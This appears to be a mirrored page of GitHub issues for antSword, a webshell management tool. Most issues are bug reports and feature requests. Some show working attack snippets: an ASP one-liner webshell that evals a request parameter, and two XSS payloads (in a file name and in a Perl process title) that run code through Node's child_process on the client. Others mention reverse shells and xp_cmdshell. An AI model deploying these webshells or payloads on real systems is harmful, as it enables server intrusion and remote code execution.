Giter Club home page Giter Club logo

antsword's People

Contributors

antoor avatar b0y1n4o4 avatar c4bbage avatar ca3tie1 avatar curz0n avatar h1d3r avatar jjf012 avatar lupino avatar medicean avatar mozhu1024 avatar yzddmr6 avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

antsword's Issues

使用aspshell时的小问题

  1. 无法连接access数据库
    access.js里面原本使用的arg2实际上是空的值,这里我参照菜刀的配置文件改为SI="[ADO DATABASE]"&chr(9)后可正常。
  2. filemanager.js中的wget所使用的Microsoft.XMLHTTP并不支持https,这里我改用MSXML2.ServerXmlHttp正常。
  3. 修改指定文件(夹)时间失败,原因是因为路径参数是C:/wwwroot/www.test.com/1.asp,而filemanager.js中的retime使用的是\\来分割路径。
    我修改了filemanager\index.js,然后功能正常。
      this.files.cell.progressOn();
      let path = this.path;
      if (this.isWin) {
          path = path.replace(/\//g, '\\')
      }
      // http request
      this.core.request(
        this.core.filemanager.retime({
          // path: this.path + name,
          path: path + name,
          time: value
        })

antSword 远程命令执行

root@vagrant:/var/www/html/test$ touch "<img src=1 onerror=\"alert(require('process').execPath)\">"
root@vagrant:/var/www/html/test$ ls
<img src=1 onerror="alert(require('process').execPath)">
root@vagrant:/var/www/html/test$

2016-03-13 1 21 53

BTW: 不错的工具 : )

数据库操作增强

在数据库模块操作方面希望能更人性化,添加配置后能有修改配置功能,数据库有快捷获取数据记录数、新建表、重命名等功能,数据查询后导出功能。

from http://uyu.us/#/guest

增加终端设置cmd路径功能

1、加个菜刀那种setp 设置cmd路径的,防止asp没system32下面 cmd权限;
2、可以加个需要先post之类请求的那种,如菜刀中的http://localhost/login.phpuser=a&pass=b,这样可以避免每次都要弄cookie;
3、菜刀中有个可配置项type=xxx&list 添加额外附加提交的数据,菜刀readme介绍为
如ASP的新服务端是这样的: <% Set o = Server.CreateObject("ScriptControl") o.language = "vbscript" o.addcode(Request("SC")) o.run "ff",Server,Response,Request,Application,Session,Error %> 那么,菜刀在配置处填入: <O>SC=function+ff(Server,Response,Request,Application,Session,Error):eval(request("pass")):end+function</O> 然后以密码pass来连接即可。

btw,2.0什么时候能够出个测试版,之前说6月6号可能出,等了好长时间还是没看到。只好自己改了改1.3的

又一发远程命令执行漏洞

环境构造:
利用代码如下:
test.pl

$0="<img src=1 onerror=\"require('child_process').exec('touch /tmp/kindle')\">";
sleep 100

执行perl test.pl

黑客操作:
打开shell的虚拟终端,ps aux。。。

然后看到本机生成如下文件/tmp/kindle

危害:可控制黑客电脑

一些建议

1.shell密码隐藏很不方便
2.连接数据库查询的时候,不能把查询的数据复制下来
3.数据库配置了之后不能更改配置,有时候编码没有选对,又只有重新配置..
4.我觉得编码可以不用选了,程序直接就请求几次,不能连就算了,手动选好麻烦啊
5.还有就是上传文件到服务器的时候,感觉只要文件名就是了,文件名加路径还得改一次,这只是我个人的感觉
6.执行命令的时候不能反弹shell,但是菜刀就能弹出去,不知道是什么原因
7.执行sql命令的时候,返回的消息尽量的多一些,update每次都是查询无结果。。。。应该加上判断成功什么的

自定义HTTP头数据

目前的版本是可以直接通过修改代码进行HTTP HEADER修改的,但是我们希望的是:
每个不同的目标都能自定义一个自己专属的HTTP头数据,比如Cookie
然后可以通过浏览网站进行动态的修改头数据,达到管理需要登陆验证才能访问的服务端脚本的目的。

目前该功能计划添加到:shell管理->添加/编辑shell窗口

数据库字段显示问题

目标环境

ASPX + SQL Server 

获取数据库表的字段时无发出Request请求,无获取字段。双击只有INFO 信息. 对于获取数据库,表都正常。

[2017-11-19 16:26:58.441] [INFO] Database - getDatConf { _id: 'xxxxxxxxxxxx', id: 'xxxxxxxxxxxx' }
[2017-11-19 16:26:58.625] [INFO] Database - getDatConf { _id: 'xxxxxxxxxxxx', id: 'xxxxxxxxxxxx' }
[2017-11-19 16:26:58.646] [INFO] Database - getDatConf { _id: 'xxxxxxxxxxxx', id: 'xxxxxxxxxxxx' }

版本

antSword 1.3.0-dev

ssl证书验证问题

对于证书过期的站点,无法连接上一句话。能否忽略证书验证?

通过shell上传文件功能有问题,给出修复建议

filemanager\index.js
640行
const fileName = f.substr(f.lastIndexOf('/') + 1);
改为
const fileName = f.substr(f.lastIndexOf('\\') + 1);
664行也是一样将\改为//,然后可以正常上传了。
因为获取到的路径是C:\\Users\\test\\Documents\\\xb0\xb2\xd7\xb0\xcb\xb5\xc3\xf7.txt,用/截取不到。

build error

➜ antSword (master) ✗ npm run build

[email protected] build /home/chu/Pentest/antSword
webpack --progress --color --watch

/home/chu/Pentest/antSword/webpack.config.js:3
const webpack = require('webpack');
^^^^^
SyntaxError: Use of const in strict mode.
at Module._compile (module.js:439:25)
at Object.Module._extensions..js (module.js:474:10)
at Module.load (module.js:356:32)
at Function.Module._load (module.js:312:12)
at Module.require (module.js:364:17)
at require (module.js:380:17)
at module.exports (/usr/local/lib/node_modules/webpack/bin/convert-argv.js:80:13)
at Object. (/usr/local/lib/node_modules/webpack/bin/webpack.js:39:40)
at Module._compile (module.js:456:26)
at Object.Module._extensions..js (module.js:474:10)

npm ERR! [email protected] build: webpack --progress --color --watch
npm ERR! Exit status 8
npm ERR!
npm ERR! Failed at the [email protected] build script.
npm ERR! This is most likely a problem with the antsword package,
npm ERR! not with npm itself.
npm ERR! Tell the author that this fails on your system:
npm ERR! webpack --progress --color --watch
npm ERR! You can get their info via:
npm ERR! npm owner ls antsword
npm ERR! There is likely additional logging output above.
npm ERR! System Linux 4.2.0-30-generic
npm ERR! command "/usr/bin/nodejs" "/usr/bin/npm" "run" "build"
npm ERR! cwd /home/chu/Pentest/antSword
npm ERR! node -v v0.10.25
npm ERR! npm -v 1.4.21
npm ERR! code ELIFECYCLE
npm WARN This failure might be due to the use of legacy binary "node"
npm WARN For further explanations, please read
/usr/share/doc/nodejs/README.Debian

npm ERR!
npm ERR! Additional logging details can be found in:
npm ERR! /home/chu/Pentest/antSword/npm-debug.log
npm ERR! not ok code 0

终端执行命令返回超时

(Cond0r:/Users/Cond0r/Downloads/AntSword-darwin-x64) $ netstat -an
{"code":"ECONNABORTED","timeout":5000}
(Cond0r:/Users/Cond0r/Downloads/AntSword-darwin-x64) $ netstat -an > 1.txt
{"code":"ECONNABORTED","timeout":5000}
(Cond0r:/Users/Cond0r/Downloads/AntSword-darwin-x64) $ cat 1.txt|head -n 10
{"code":"ECONNABORTED","timeout":5000}

关于数据库和虚拟终端的一些建议

1.数据的导出
2.不同数据库常用命令的模板功能,例如根据不同数据库类型,把exec xp_cmdshell ‘’之类的语句放到一个模板文件里,在命令窗口那添加一个下拉框,选中后自动填入命令框。
3.命令框的命令执行快捷键。例如输完命令后直接按Alt+Enter就能执行命令,避免多余的鼠标操作。
4.另外就是,当前会话中执行过的命令如果能像cmd那样使用上下方向键选择就更方便了。
5.虚拟终端的命令执行功能有缓存,相同的命令第二次执行时,返回结果无变化,这个功能对某些命令不太合适,例如netstat,本身需要用来查看最近的连接状态,如果存在缓存会误导用户。

PS:这个项目真的是太让人惊艳了,用户体验比其他类似项目好太多了,未来必然是人手一份的神器。2.0什么时候能发布,我已经开始学习nodejs了。

排序功能不完善

数字的排序是按最高位大小来排的,显然并不是很合理:

screenshot from 2016-03-15 20 58 13

同理文件按大小排序也是如此,虽然给出单位了。。。。

screenshot from 2016-03-15 21 01 36

Ubuntu 14.04

process.env.AS_WORKDIR 为undefined的错误

  • 电脑环境 mac serria
  • elecrton v1.4.3
  • nodejs 6.8.0

**蚁剑是2.0开发版

在执行npm start,会报错

Uncaught Exception:
TypeError: Path must be a string. Received undefined
    at assertPath (path.js:7:11)
    at Object.join (path.js:1213:7)
    at new Conf (/Volumes/Transcend/Downloads/antSword-2.0-beta/modules/config.js:24:26)
    at Object.<anonymous> (/Volumes/Transcend/Downloads/antSword-2.0-beta/modules/config.js:91:18)

升级程序更新功能

目前的在线更新功能如下:

基本每周更新一个小版本(1.x.x),遇到改动较大的时候就更一次大版本(1.x.0),在线更新功能检测远程git仓库的版本信息是否和本地版本信息符合,如果不符合,则提示更新并下载对应的asar文件替换(在windows系统中,由于app.asar被程序占用导致无法进行像osx、linux一样更新。

而且由于目前版本还不算太稳定,各种新功能仍在快速优化更新中,所以每次用户都得检查或者下载程序包很麻烦,所以在此,重新架构程序加载以及更新功能

0x01. 稳定版本的Electron依赖程序

重新把Electron进行设置后打包,功能很简单:加载我们特定目录的主程序app.asar包即可,然后为不同的系统打包安装程序,如windows打包msi安装包、linux打包pkg、osx打包为dmg等。。

当然,其中还可能涉及修改图标、应用信息版本等等

0x02. 应用更新下载到用户主目录

在linux、osx下,通过应用下载的程序版本默认放置到$HOME/.antSword/app中,在windows下则为%root%\.antSword\app\目录中(如果存在,否则保存到安装目录或其他指定目录。
然后依赖程序自动寻找该目录,分析出版本最高的应用,执行。(这样有利于版本回滚以及自定义等等。。


后边想到再补上。。

增加http请求超时设置功能

目前是采用修改代码的方式进行超时设置(全局)

所以打算把这个功能写得更完美,可以自定义每个数据的请求超时时间(再添加/编辑数据的窗口->其他设置中增加选项即可

2.0 beta 无法正常启动

缺少 electron

sh: 1: electron: not found
npm ERR! file sh
npm ERR! code ELIFECYCLE
npm ERR! errno ENOENT
npm ERR! syscall spawn
npm ERR! [email protected] start: `electron app.js`
npm ERR! spawn ENOENT

手动安装 electron 切换多个版本都无法正常启动,报错如下

Uncaught Exception:
TypeError: Path must be a string. Received undefined
    at assertPath (path.js:7:11)
    at Object.join (path.js:1211:7)
    at new Conf (ant2.0-beta/modules/config.js:24:26)
    at Object.<anonymous> (ant2.0-beta/modules/config.js:90:18)
    at Object.<anonymous> (ant2.0-beta/modules/config.js:92:3)
    at Module._compile (module.js:571:32)
    at Object.Module._extensions..js (module.js:580:10)
    at Module.load (module.js:488:32)
    at tryModuleLoad (module.js:447:12)
    at Function.Module._load (module.js:439:3)

系统 Deepin Linux

C盘目录无权限显示的Bug + 文件管理内增加查找功能

1,文件管理中,对于C盘无权限的目录会显示成文件,双击后会提示下载
qq 20160503173618

2.对于webshell连接类型建议增加一些,PHP,ASP,ASPX已经满足不了需求

3.建议增加代理功能

4.建议在文件管理内增加查找功能

5.建议插件中心内的插件可以采取收费的模式,不仅鼓励写插件的同学,也可以让更多的人加入到完善软件功能的工作中。

NodeJs脚本模块支持

expresskoa以及原生代码实现等。
脚本模块代码统一,然后服务端代码各自实现即可,模块名称定义为:nodejs

timeout时间

请问哪个文件可以修改timeout时间的?

shell.db加密处理

shell.db 目前处于无加密状态,保存时需要做加密处理。

这里需要考虑,支持用户使用自己的密钥加密解密?数据一旦丢了别人也没法通过蚁剑来还原。

蚁剑使用默认的菜刀一句话php shell出错

蚁剑使用默认的菜刀一句话php shell出错,系统win10 源码编译,使用默认的配置(编码为默认),连接shell出错(不能正常操作),更改编码 base64 or hex 则正常操作。
jsp 园长修改菜刀shell 默认正常,若使用base64 or hex 则出错~~

对蚁剑改进的一些初步建议

蚁剑是个非常不错的网站管理工具,毋庸置疑~
个人使用过程发现一些小的问题,整理如下,希望对蚁剑的体验改进有所帮助

  • 分类需要支持重命名
  • shell列表搜索功能,最好直接对添加数据进行全文搜索
  • 命令console不能粘贴数据,同时命令可以tab更好了
  • 考虑后续客户端升级,数据库和配置文件在哪里?是否需要定义出来。我看现在使用的是nedb,那么是否考虑数据导出为配置,以便下次升级使用?

A JavaScript error occurred in the main process

环境:mac
版本:AntSword v2.0.0
启动方式:源码启动、加载器启动、npm start都不行,老版本没问题
报错:

A JavaScript error occurred in the main process
Uncaught Exception:
TypeError: Path must be a string. Received undefined
    at assertPath (path.js:7:11)
    at Object.join (path.js:1213:7)
    at new Conf (/Users/w/Downloads/antSword/modules/config.js:24:26)
    at Object.<anonymous> (/Users/w/Downloads/antSword/modules/config.js:94:18)
    at Module._compile (module.js:556:32)
    at Object.Module._extensions..js (module.js:565:10)
    at Module.load (module.js:473:32)
    at tryModuleLoad (module.js:432:12)
    at Function.Module._load (module.js:424:3)
    at Module.require (module.js:483:17)

增加缓存管理选项

毕竟不是每个人都喜欢自动给你缓存数据的,比如文件管理中,一般有缓存且没清理的话会直接读取,而并不会发起请求最新数据(虽然可以通过刷新功能实现)

所以可以在添加/编辑数据的其他设置中,添加是否缓存文件管理、数据库管理以及其他未来模块的选项。

随机编码器功能

编写一个通用的随机编码器random,作用就是在已知的编码器列表中随机选择一个进行使用。

代码实现很简单,有待空闲编写。

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.